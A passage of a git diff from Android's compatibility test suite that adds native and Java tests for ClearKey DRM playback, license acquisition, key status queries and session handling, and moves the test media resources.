+                    const_cast<AMediaExtractor*>(extractor), 0,
+                            AMEDIAEXTRACTOR_SEEK_PREVIOUS_SYNC);
+            }
+            AMediaFormat_delete(trackFormat);
+        }
+    }
+}
+
+static int64_t getSystemNanoTime() {
+    timespec now;
+    clock_gettime(CLOCK_MONOTONIC, &now);
+    return now.tv_sec * 1000000000LL + now.tv_nsec;
+}
+
+static void fillDecoder(AMediaCodec* codec, AMediaExtractor* extractor,
+        int64_t* presentationTimeUs, bool* eosReached) {
+    media_status_t status = AMEDIA_OK;
+
+    ssize_t bufferIndex = AMediaCodec_dequeueInputBuffer(codec, 2000);
+    if (bufferIndex >= 0) {
+        size_t bufsize;
+        uint8_t* buf = AMediaCodec_getInputBuffer(codec, bufferIndex, &bufsize);
+
+        int sampleSize = AMediaExtractor_readSampleData(extractor, buf, bufsize);
+        if (sampleSize < 0) {
+            sampleSize = 0;
+            *eosReached = true;
+        }
+
+        *presentationTimeUs = AMediaExtractor_getSampleTime(extractor);
+
+        AMediaCodecCryptoInfo *cryptoInfo =
+            AMediaExtractor_getSampleCryptoInfo(extractor);
+
+        if (cryptoInfo) {
+            status = AMediaCodec_queueSecureInputBuffer(
+                codec, bufferIndex, 0, cryptoInfo,
+                *presentationTimeUs,
+                *eosReached ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
+            AMediaCodecCryptoInfo_delete(cryptoInfo);
+        } else {
+            status = AMediaCodec_queueInputBuffer(
+                codec, bufferIndex, 0, sampleSize,
+                *presentationTimeUs,
+                *eosReached ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
+        }
+        AMediaExtractor_advance(extractor);
+    }
+}
+
+static bool drainDecoder(AMediaCodec* codec, int64_t presentationTimeUs,
+    int64_t* startTimeNano) {
+
+    AMediaCodecBufferInfo info;
+    ssize_t bufferIndex  = AMediaCodec_dequeueOutputBuffer(codec, &info, 0);
+    if (bufferIndex >= 0) {
+        if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+            return true;  // eos reached
+        }
+
+        if (*startTimeNano < 0) {
+            *startTimeNano = getSystemNanoTime() - (presentationTimeUs * 1000);
+        }
+        int64_t delay = (*startTimeNano + presentationTimeUs * 1000) -
+                getSystemNanoTime();
+        if (delay > 0) {
+            usleep(delay / 1000);
+        }
+
+        AMediaCodec_releaseOutputBuffer(codec, bufferIndex, info.size != 0);
+    } else if (bufferIndex == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+        ALOGV("output buffers changed");
+    } else if (bufferIndex == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+        AMediaFormat* format = AMediaCodec_getOutputFormat(codec);
+        ALOGV("format changed to: %s", AMediaFormat_toString(format));
+        AMediaFormat_delete(format);
+    } else if (bufferIndex == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+         ALOGV("no output buffer right now");
+         usleep(20000);
+    } else {
+         ALOGV("unexpected info code: %zd", bufferIndex);
+    }
+    return false;
+}
+
+static jboolean playContent(JNIEnv* env, const AMediaObjects& aMediaObjects,
+        PlaybackParams& params, const AMediaDrmSessionId& sessionId, Uuid uuid) {
+
+    ANativeWindow *window = ANativeWindow_fromSurface(env, params.surface);
+    AMediaExtractor* audioExtractor = aMediaObjects.getAudioExtractor();
+    AMediaExtractor* videoExtractor = aMediaObjects.getVideoExtractor();
+
+    AMediaCodec* audioCodec = NULL;
+    AMediaCodec* videoCodec = NULL;
+    AMediaCrypto* crypto = NULL;
+
+    crypto = AMediaCrypto_new(&uuid[0], sessionId.ptr, sessionId.length);
+    if (crypto == NULL) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "failed to create crypto object");
+        return JNI_FALSE;
+    }
+
+    addTracks(audioExtractor, NULL, NULL, &audioCodec);
+
+    addTracks(videoExtractor, crypto, window, &videoCodec);
+
+    bool sawAudioInputEos = false;
+    bool sawAudioOutputEos = false;
+    bool sawVideoInputEos = false;
+    bool sawVideoOutputEos = false;
+    int64_t videoPresentationTimeUs = 0;
+    int64_t videoStartTimeNano = -1;
+    struct timespec timeSpec;
+    clock_gettime(CLOCK_MONOTONIC, &timeSpec);
+    time_t startTimeSec = timeSpec.tv_sec;
+
+    while (!sawAudioOutputEos && !sawVideoOutputEos) {
+        if (!sawVideoInputEos) {
+            fillDecoder(videoCodec, videoExtractor,
+                    &videoPresentationTimeUs, &sawVideoInputEos);
+        }
+
+        if (!sawAudioInputEos) {
+            // skip audio, still need to advance the audio extractor
+            AMediaExtractor_advance(audioExtractor);
+        }
+
+        if (!sawVideoOutputEos) {
+            sawVideoOutputEos = drainDecoder(videoCodec, videoPresentationTimeUs,
+                    &videoStartTimeNano);
+        }
+
+        clock_gettime(CLOCK_MONOTONIC, &timeSpec);
+        if (timeSpec.tv_sec >= static_cast<time_t>(
+            (startTimeSec + kPlayTimeSeconds))) {
+            // stop reading samples and drain the output buffers
+            sawAudioInputEos = sawVideoInputEos = true;
+            sawAudioOutputEos = true; // ignore audio
+        }
+    }
+
+    if (audioCodec) {
+        AMediaCodec_stop(audioCodec);
+        AMediaCodec_delete(audioCodec);
+    }
+    if (videoCodec) {
+        AMediaCodec_stop(videoCodec);
+        AMediaCodec_delete(videoCodec);
+    }
+
+    AMediaCrypto_delete(crypto);
+    ANativeWindow_release(window);
+    return JNI_TRUE;
+}
+
+static void listener(
+    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
+    AMediaDrmEventType eventType,
+    int /*extra*/, const uint8_t* /*data*/, size_t /*dataSize*/) {
+
+    switch (eventType) {
+        case EVENT_PROVISION_REQUIRED:
+            ALOGD("EVENT_PROVISION_REQUIRED received");
+            break;
+        case EVENT_KEY_REQUIRED:
+            ALOGD("EVENT_KEY_REQUIRED received");
+            break;
+        case EVENT_KEY_EXPIRED:
+            ALOGD("EVENT_KEY_EXPIRED received");
+            break;
+        case EVENT_VENDOR_DEFINED:
+            gGotVendorDefinedEvent = true;
+            ALOGD("EVENT_VENDOR_DEFINED received");
+            break;
+        case EVENT_SESSION_RECLAIMED:
+            ALOGD("EVENT_SESSION_RECLAIMED received");
+            break;
+        default:
+            ALOGD("Unknown event received");
+            break;
+    }
+}
+
+static void onExpirationUpdateListener(
+    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
+    int64_t expiryTimeInMS) {
+
+    if (expiryTimeInMS == 100) {
+        ALOGD("Updates new expiration time to %" PRId64 " ms", expiryTimeInMS);
+        gListenerGotValidExpiryTime = true;
+    } else {
+        ALOGE("Expects 100 ms for expiry time, received: %" PRId64 " ms", expiryTimeInMS);
+        gListenerGotValidExpiryTime = false;
+    }
+}
+
+static void onKeysChangeListener(
+    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
+    const AMediaDrmKeyStatus* keysStatus, size_t numKeys, bool hasNewUsableKey) {
+
+    gOnKeyChangeListenerOK = false;
+    if (numKeys != 3) {
+        ALOGE("Expects 3 keys, received %zd keys", numKeys);
+        return;
+    }
+
+    if (!hasNewUsableKey) {
+        ALOGE("Expects hasNewUsableKey to be true");
+        return;
+    }
+
+    ALOGD("Number of keys changed=%zd", numKeys);
+    AMediaDrmKeyStatus keyStatus;
+    for (size_t i = 0; i < numKeys; ++i) {
+        keyStatus.keyId.ptr = keysStatus[i].keyId.ptr;
+        keyStatus.keyId.length = keysStatus[i].keyId.length;
+        keyStatus.keyType = keysStatus[i].keyType;
+
+        ALOGD("key[%zd]: key: %0x, %0x, %0x", i, keyStatus.keyId.ptr[0], keyStatus.keyId.ptr[1],
+                keyStatus.keyId.ptr[2]);
+        ALOGD("key[%zd]: key type=%d", i, keyStatus.keyType);
+    }
+    gOnKeyChangeListenerOK = true;
+}
+
+static void acquireLicense(
+    JNIEnv* env, const AMediaObjects& aMediaObjects, const AMediaDrmSessionId& sessionId,
+    AMediaDrmKeyType keyType) {
+    // Pointer to keyRequest memory, which remains until the next
+    // AMediaDrm_getKeyRequest call or until the drm object is released.
+    const uint8_t* keyRequest;
+    size_t keyRequestSize = 0;
+    std::string errorMessage;
+
+    // The server recognizes "video/mp4" but not "video/avc".
+    media_status_t status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(),
+            &sessionId, kClearkeyPssh, sizeof(kClearkeyPssh),
+            "video/mp4" /*mimeType*/, keyType,
+            NULL, 0, &keyRequest, &keyRequestSize);
+    if (status != AMEDIA_OK) {
+        errorMessage.assign("getKeyRequest failed, error = %d");
+        goto errorOut;
+    }
+
+    if (kKeyRequestSize != keyRequestSize) {
+        ALOGE("Invalid keyRequestSize %zd", kKeyRequestSize);
+        errorMessage.assign("Invalid key request size, error = %d");
+        status = AMEDIA_DRM_NEED_KEY;
+        goto errorOut;
+    }
+
+    if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
+        errorMessage.assign("Invalid key request data is returned, error = %d");
+        status = AMEDIA_DRM_NEED_KEY;
+        goto errorOut;
+    }
+
+    AMediaDrmKeySetId keySetId;
+    gGotVendorDefinedEvent = false;
+    gListenerGotValidExpiryTime = false;
+    gOnKeyChangeListenerOK = false;
+    status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
+            reinterpret_cast<const uint8_t*>(kResponse),
+            sizeof(kResponse), &keySetId);
+    if (status == AMEDIA_OK) {
+        return;  // success
+    }
+
+    errorMessage.assign("provideKeyResponse failed, error = %d");
+
+errorOut:
+    AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+    jniThrowExceptionFmt(env, "java/lang/RuntimeException", errorMessage.c_str(), status);
+}
+
+extern "C" jboolean testClearKeyPlaybackNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jobject playbackParams) {
+    if (NULL == uuid || NULL == playbackParams) {
+        jniThrowException(env, "java/lang/NullPointerException",
+                "null uuid or null playback parameters");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    PlaybackParams params;
+    initPlaybackParams(env, playbackParams, params);
+
+    AMediaObjects aMediaObjects;
+    media_status_t status = AMEDIA_OK;
+    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+    if (NULL == aMediaObjects.getDrm()) {
+        jniThrowException(env, "java/lang/RuntimeException", "null MediaDrm");
+        return JNI_FALSE;
+    }
+
+    status = AMediaDrm_setOnEventListener(aMediaObjects.getDrm(), listener);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "setOnEventListener failed");
+        return JNI_FALSE;
+    }
+
+    status = AMediaDrm_setOnExpirationUpdateListener(aMediaObjects.getDrm(),
+            onExpirationUpdateListener);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "setOnExpirationUpdateListener failed");
+        return JNI_FALSE;
+    }
+
+    status = AMediaDrm_setOnKeysChangeListener(aMediaObjects.getDrm(),
+            onKeysChangeListener);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "setOnKeysChangeListener failed");
+        return JNI_FALSE;
+    }
+
+    aMediaObjects.setAudioExtractor(AMediaExtractor_new());
+    const char* url = env->GetStringUTFChars(params.audioUrl, 0);
+    if (url) {
+        status = setDataSourceFdOrUrl(
+            aMediaObjects.getAudioExtractor(), url);
+        env->ReleaseStringUTFChars(params.audioUrl, url);
+
+        if (status != AMEDIA_OK) {
+            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                    "set audio data source error=%d", status);
+            return JNI_FALSE;
+        }
+    }
+
+    aMediaObjects.setVideoExtractor(AMediaExtractor_new());
+    url = env->GetStringUTFChars(params.videoUrl, 0);
+    if (url) {
+        status = setDataSourceFdOrUrl(
+            aMediaObjects.getVideoExtractor(), url);
+        env->ReleaseStringUTFChars(params.videoUrl, url);
+
+        if (status != AMEDIA_OK) {
+            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                    "set video data source error=%d", status);
+            return JNI_FALSE;
+        }
+    }
+
+    AMediaDrmSessionId sessionId;
+    status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "openSession failed");
+        return JNI_FALSE;
+    }
+
+    acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
+
+    // Checks if the event listener has received the expected event sent by
+    // provideKeyResponse. This is for testing AMediaDrm_setOnEventListener().
+    const char *utf8_outValue = NULL;
+    status = AMediaDrm_getPropertyString(aMediaObjects.getDrm(),
+            "listenerTestSupport", &utf8_outValue);
+    if (status == AMEDIA_OK && NULL != utf8_outValue) {
+        std::string eventType(utf8_outValue);
+        if (eventType.compare("true") == 0) {
+            int count = 0;
+            while ((!gGotVendorDefinedEvent ||
+                    !gListenerGotValidExpiryTime ||
+                    !gOnKeyChangeListenerOK) && count++ < 5) {
+               // Prevents race condition when the event arrives late
+               usleep(10000);
+            }
+
+            if (!gGotVendorDefinedEvent) {
+                ALOGE("Event listener did not receive the expected event.");
+                jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                        "Event listener did not receive the expected event.");
+                AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+                return JNI_FALSE;
+           }
+
+          // Checks if onExpirationUpdateListener received the correct expiry time.
+           if (!gListenerGotValidExpiryTime) {
+               jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                       "onExpirationUpdateListener received incorrect expiry time.");
+               AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+               return JNI_FALSE;
+           }
+
+          // Checks if onKeysChangeListener succeeded.
+          if (!gOnKeyChangeListenerOK) {
+              jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                      "onKeysChangeListener failed");
+              AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+              return JNI_FALSE;
+          }
+        }
+    }
+
+    playContent(env, aMediaObjects, params, sessionId, juuid);
+
+    status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "closeSession failed");
+        return JNI_FALSE;
+    }
+    return JNI_TRUE;
+}
+
+extern "C" jboolean testQueryKeyStatusNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
+
+    if (NULL == uuid) {
+        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaObjects aMediaObjects;
+    media_status_t status = AMEDIA_OK;
+    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+    if (NULL == aMediaObjects.getDrm()) {
+        jniThrowException(env, "java/lang/RuntimeException", "failed to create drm");
+        return JNI_FALSE;
+    }
+
+    AMediaDrmSessionId sessionId;
+    status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "openSession failed");
+        return JNI_FALSE;
+    }
+
+    size_t numPairs = 3;
+    AMediaDrmKeyValue keyStatus[numPairs];
+
+    // Test default key status, should return zero key status
+    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+    if (status != AMEDIA_OK) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus failed, error = %d", status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    if (numPairs != 0) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus failed, no policy should be defined");
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
+
+    // Test short buffer
+    numPairs = 2;
+    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+    if (status != AMEDIA_DRM_SHORT_BUFFER) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus should return AMEDIA_DRM_SHORT_BUFFER, error = %d",
+                        status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    // Test valid key status
+    numPairs = 3;
+    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+    if (status != AMEDIA_OK) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus failed, error = %d", status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    for (size_t i = 0; i < numPairs; ++i) {
+        ALOGI("AMediaDrm_queryKeyStatus: key=%s, value=%s", keyStatus[i].mKey, keyStatus[i].mValue);
+    }
+
+    if (numPairs != 3) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus returns %zd key status, expecting 3", numPairs);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "closeSession failed");
+        return JNI_FALSE;
+    }
+    return JNI_TRUE;
+}
+
+extern "C" jboolean testFindSessionIdNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
+
+    if (NULL == uuid) {
+        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaObjects aMediaObjects;
+    media_status_t status = AMEDIA_OK;
+    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+    if (NULL == aMediaObjects.getDrm()) {
+        jniThrowException(env, "java/lang/RuntimeException", "failed to create drm");
+        return JNI_FALSE;
+    }
+
+    // Stores duplicates of session id.
+    std::vector<std::vector<uint8_t> > sids;
+
+    std::list<AMediaDrmSessionId> sessionIds;
+    AMediaDrmSessionId sessionId;
+    for (int i = 0; i < 5; ++i) {
+        status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
+        if (status != AMEDIA_OK) {
+            jniThrowException(env, "java/lang/RuntimeException", "openSession failed");
+            return JNI_FALSE;
+        }
+
+        // Allocates a new pointer to duplicate the session id returned by
+        // AMediaDrm_openSession. These new pointers will be passed to
+        // AMediaDrm_closeSession, which verifies that the ndk
+        // can find the session id even if the pointer has changed.
+        sids.push_back(std::vector<uint8_t>(sessionId.length));
+        memcpy(sids.at(i).data(), sessionId.ptr, sessionId.length);
+        sessionId.ptr = static_cast<uint8_t *>(sids.at(i).data());
+        sessionIds.push_back(sessionId);
+    }
+
+    for (auto sessionId : sessionIds) {
+        status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        if (status != AMEDIA_OK) {
+            jniThrowException(env, "java/lang/RuntimeException", "closeSession failed");
+            return JNI_FALSE;
+        }
+    }
+
+    return JNI_TRUE;
+}
+
+static JNINativeMethod gMethods[] = {
+    { "isCryptoSchemeSupportedNative", "([B)Z",
+            (void *)isCryptoSchemeSupportedNative },
+
+    { "testClearKeyPlaybackNative",
+            "([BLandroid/media/drmframework/cts/NativeMediaDrmClearkeyTest$PlaybackParams;)Z",
+            (void *)testClearKeyPlaybackNative },
+
+    { "testGetPropertyStringNative",
+            "([BLjava/lang/String;Ljava/lang/StringBuffer;)Z",
+            (void *)testGetPropertyStringNative },
+
+    { "testPropertyByteArrayNative",
+            "([B)Z",
+            (void *)testPropertyByteArrayNative },
+
+    { "testPsshNative", "([BLjava/lang/String;)Z",
+            (void *)testPsshNative },
+
+    { "testQueryKeyStatusNative", "([B)Z",
+            (void *)testQueryKeyStatusNative },
+
+    { "testFindSessionIdNative", "([B)Z",
+            (void *)testFindSessionIdNative },
+};
+
+int registerNativeMediaDrmClearkeyTest(JNIEnv* env) {
+    jint result = JNI_ERR;
+    jclass testClass =
+        env->FindClass("android/media/drmframework/cts/NativeMediaDrmClearkeyTest");
+    if (testClass) {
+        jclass playbackParamsClass = env->FindClass(
+            "android/media/drmframework/cts/NativeMediaDrmClearkeyTest$PlaybackParams");
+        if (playbackParamsClass) {
+            jclass surfaceClass =
+                env->FindClass("android/view/Surface");
+            if (surfaceClass) {
+                gFieldIds.surface = env->GetFieldID(playbackParamsClass,
+                        "surface", "Landroid/view/Surface;");
+            } else {
+                gFieldIds.surface = NULL;
+            }
+            gFieldIds.mimeType = env->GetFieldID(playbackParamsClass,
+                    "mimeType", "Ljava/lang/String;");
+            gFieldIds.audioUrl = env->GetFieldID(playbackParamsClass,
+                    "audioUrl", "Ljava/lang/String;");
+            gFieldIds.videoUrl = env->GetFieldID(playbackParamsClass,
+                    "videoUrl", "Ljava/lang/String;");
+        } else {
+            ALOGE("PlaybackParams class not found");
+        }
+
+    } else {
+        ALOGE("NativeMediaDrmClearkeyTest class not found");
+    }
+
+    result = env->RegisterNatives(testClass, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+    return result;
+}
diff --git a/tests/tests/media/res/raw/segment000001.ts b/tests/tests/media/drmframework/res/raw/segment000001.ts
similarity index 100%
copy from tests/tests/media/res/raw/segment000001.ts
copy to tests/tests/media/drmframework/res/raw/segment000001.ts
Binary files differ
diff --git a/tests/tests/media/res/raw/segment000001_scrambled.ts b/tests/tests/media/drmframework/res/raw/segment000001_scrambled.ts
similarity index 100%
rename from tests/tests/media/res/raw/segment000001_scrambled.ts
rename to tests/tests/media/drmframework/res/raw/segment000001_scrambled.ts
Binary files differ
diff --git a/tests/tests/media/res/raw/video_320x240_webm_vp8_800kbps_30fps_vorbis_stereo_128kbps_44100hz_crypt.webm b/tests/tests/media/drmframework/res/raw/video_320x240_webm_vp8_800kbps_30fps_vorbis_stereo_128kbps_44100hz_crypt.webm
similarity index 100%
rename from tests/tests/media/res/raw/video_320x240_webm_vp8_800kbps_30fps_vorbis_stereo_128kbps_44100hz_crypt.webm
rename to tests/tests/media/drmframework/res/raw/video_320x240_webm_vp8_800kbps_30fps_vorbis_stereo_128kbps_44100hz_crypt.webm
Binary files differ
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/DrmInitDataTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/DrmInitDataTest.java
new file mode 100644
index 0000000..915d561
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/DrmInitDataTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.drmframework.cts;
+
+import android.media.DrmInitData;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Build;
+import android.test.AndroidTestCase;
+
+import androidx.test.filters.SdkSuppress;
+
+import java.util.UUID;
+
+@NonMediaMainlineTest
+// methods introduced as hidden in R; first exposed in S
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+public class DrmInitDataTest extends AndroidTestCase {
+
+    public void testSchemeInitDataConstructor() {
+        UUID uuid = new UUID(1, 1);
+        String mimeType = "mime/type";
+        byte[] data = new byte[0];
+        DrmInitData.SchemeInitData schemeInitData =
+                new DrmInitData.SchemeInitData(uuid, mimeType, data);
+        assertSame(uuid, schemeInitData.uuid);
+        assertSame(mimeType, schemeInitData.mimeType);
+        assertSame(data, schemeInitData.data);
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
new file mode 100644
index 0000000..3760588
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
@@ -0,0 +1,1699 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.drmframework.cts;
+
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaDrm;
+import android.media.MediaDrm.KeyStatus;
+import android.media.MediaDrm.MediaDrmStateException;
+import android.media.MediaDrmException;
+import android.media.MediaFormat;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
+import android.media.cts.AudioManagerStub;
+import android.media.cts.AudioManagerStubHelper;
+import android.media.cts.CodecState;
+import android.media.cts.ConnectionStatus;
+import android.media.cts.IConnectionStatus;
+import android.media.cts.InputSurface;
+import android.media.cts.InputSurfaceInterface;
+import android.media.cts.MediaCodecClearKeyPlayer;
+import android.media.cts.MediaCodecPlayerTestBase;
+import android.media.cts.MediaCodecWrapper;
+import android.media.cts.MediaTimeProvider;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.NdkInputSurface;
+import android.media.cts.NdkMediaCodec;
+import android.media.cts.TestUtils.Monitor;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+import android.util.Base64;
+import android.util.Log;
+
+import android.view.Surface;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+import java.util.Vector;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.SdkSuppress;
+
+
+/**
+ * Tests of MediaPlayer streaming capabilities.
+ */
+public class MediaDrmClearkeyTest extends MediaCodecPlayerTestBase<MediaStubActivity> {
+
+    private static final String TAG = MediaDrmClearkeyTest.class.getSimpleName();
+
+    // Add additional keys here if the content has more keys.
+    private static final byte[] CLEAR_KEY_CENC = {
+            (byte)0x3f, (byte)0x0a, (byte)0x33, (byte)0xf3, (byte)0x40, (byte)0x98, (byte)0xb9, (byte)0xe2,
+            (byte)0x2b, (byte)0xc0, (byte)0x78, (byte)0xe0, (byte)0xa1, (byte)0xb5, (byte)0xe8, (byte)0x54 };
+
+    private static final byte[] CLEAR_KEY_WEBM = "_CLEAR_KEY_WEBM_".getBytes();
+
+    private static final int NUMBER_OF_SECURE_STOPS = 10;
+    private static final int VIDEO_WIDTH_CENC = 1280;
+    private static final int VIDEO_HEIGHT_CENC = 720;
+    private static final int VIDEO_WIDTH_WEBM = 352;
+    private static final int VIDEO_HEIGHT_WEBM = 288;
+    private static final int VIDEO_WIDTH_MPEG2TS = 320;
+    private static final int VIDEO_HEIGHT_MPEG2TS = 240;
+    private static final String MIME_VIDEO_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final String MIME_VIDEO_VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
+
+    // Property Keys
+    private static final String ALGORITHMS_PROPERTY_KEY = MediaDrm.PROPERTY_ALGORITHMS;
+    private static final String DESCRIPTION_PROPERTY_KEY = MediaDrm.PROPERTY_DESCRIPTION;
+    private static final String DEVICEID_PROPERTY_KEY = "deviceId";
+    private static final String INVALID_PROPERTY_KEY = "invalid property key";
+    private static final String LISTENER_TEST_SUPPORT_PROPERTY_KEY = "listenerTestSupport";
+    private static final String VENDOR_PROPERTY_KEY = MediaDrm.PROPERTY_VENDOR;
+    private static final String VERSION_PROPERTY_KEY = MediaDrm.PROPERTY_VERSION;
+
+    // Error message
+    private static final String ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED = "Crypto scheme is not supported";
+
+    private static final String CENC_AUDIO_PATH = "/clear/h264/llama/llama_aac_audio.mp4";
+    private static final String CENC_VIDEO_PATH = "/clearkey/llama_h264_main_720p_8000.mp4";
+    private static final Uri WEBM_URL = Uri.parse(
+            "android.resource://android.media.drmframework.cts/" + R.raw.video_320x240_webm_vp8_800kbps_30fps_vorbis_stereo_128kbps_44100hz_crypt);
+    private static final Uri MPEG2TS_SCRAMBLED_URL = Uri.parse(
+            "android.resource://android.media.drmframework.cts/" + R.raw.segment000001_scrambled);
+    private static final Uri MPEG2TS_CLEAR_URL = Uri.parse(
+            "android.resource://android.media.drmframework.cts/" + R.raw.segment000001);
+
